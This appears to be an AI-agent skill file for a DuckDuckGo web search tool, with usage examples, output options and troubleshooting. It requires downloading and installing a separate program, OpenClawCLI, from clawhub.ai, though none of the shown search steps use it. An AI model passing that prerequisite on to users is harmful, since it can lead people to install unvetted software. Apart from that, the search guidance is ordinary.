Web Search Hub
Use this skill when users need to search the web for information, news, images, or videos. Triggers include: requests to "search for", "find information about", "look up", "what's the latest on", or any request requiring current web content. Also use for research tasks, fact-checking, finding visual resources, or gathering recent news. Requires OpenClawCLI installation from clawhub.ai. Do NOT use when Claude's built-in web_search tool is more appropriate for simple queries.

Web Search Hub
Search the web using DuckDuckGo's API. Supports web pages, news articles, images, and videos with customizable filtering and output formats. โ ๏ธ Prerequisite: Install OpenClawCLI (Windows, MacOS) and run pip install duckduckgo-search Installation Best Practices: If you encounter permission errors, use a virtual environment instead of system-wide installation For virtual environment: python -m venv venv && source venv/bin/activate && pip install duckduckgo-search Never use --break-system-packages as it can damage your system's Python installation

Implementation Guidelines
When users request web searches, follow this approach:
1. Identify Intent
What content type? (web, news, images, videos) How recent? (use --time-range for current info) How many results? (adjust --max-results) Any special filters? (size, color, duration, etc.)
2. Configure Search
python scripts/search.py "query" \ --type <web|news|images|videos> \ --max-results <N> \ --time-range <d|w|m|y> \ [additional filters]
3. Choose Format
Text: Quick reading, immediate review Markdown: Documentation, formatted reports JSON: Further processing, automation
4. Execute and Process
# Run search python scripts/search.py "query" [options] --output results.txt # Read results if needed cat results.txt # Extract URLs or combine multiple searches
Search Strategy
Start specific - Use clear, targeted queries Use time filters - Apply --time-range for current topics Adjust result count - Start with 10-20, increase if needed Choose right type - News for current events, web for general info
Output Management
Save important searches - Use --output to preserve results Use appropriate format - JSON for automation, markdown for docs Organize files - Create folders for multi-search research
API Usage
Avoid rapid requests - Space out searches to prevent rate limiting Be efficient - Use filters to get better results with fewer searches Respect limits - Don't hammer the API unnecessarily
Installation Issues
"Missing required dependency" # Standard installation pip install duckduckgo-search # If you get permission errors, use a virtual environment python -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate pip install duckduckgo-search Important: Never use --break-system-packages flag as it can corrupt your system's Python installation. Always use virtual environments for isolated package management. "OpenClawCLI not found" Download from https://clawhub.ai/ Install for your OS (Windows/MacOS) Verify installation: openclaw --version
Search Issues
"No results found" Broaden search terms Remove time filters Try different query phrasing "Timeout errors" DuckDuckGo service may be temporarily unavailable Wait a moment and retry Check internet connection "Unexpected results" DuckDuckGo results differ from Google Refine query with more specific terms Try adding context to the query
Rate Limiting
"Too many requests" Space out searches (wait 1-2 seconds between requests) Reduce frequency if making automated searches Consider batching queries instead of individual requests
Combining Multiple Searches
Build comprehensive research by combining search types: # Create research folder mkdir research # Gather all content types python scripts/search.py "topic" --max-results 20 --output research/web.txt python scripts/search.py "topic" --type news --time-range m --output research/news.txt python scripts/search.py "topic" --type images --max-results 30 --output research/images.txt python scripts/search.py "topic" --type videos --max-results 15 --output research/videos.txt
Programmatic Processing
Use JSON for automated workflows: # Get JSON data python scripts/search.py "research query" --format json --output data.json # Process with custom script python analyze_results.py data.json
Building Knowledge Bases
Create searchable documentation: mkdir knowledge-base # Search related topics python scripts/search.py "topic1" --format markdown --output knowledge-base/topic1.md python scripts/search.py "topic2" --format markdown --output knowledge-base/topic2.md python scripts/search.py "topic3" --format markdown --output knowledge-base/topic3.md
Search Capabilities
Results depend on DuckDuckGo's index (may differ from Google) No advanced operators (no site:, filetype:, etc.) Image/video results may be limited compared to web search No control over ranking algorithms
Content Access
Cannot access paywalled content Some sites may block DuckDuckGo crawler Dynamic JavaScript content may not be indexed Real-time data may have slight delays
API Constraints
Rate limiting applies to prevent abuse No guaranteed uptime or availability Results may vary by region and time Some queries may be filtered for safety
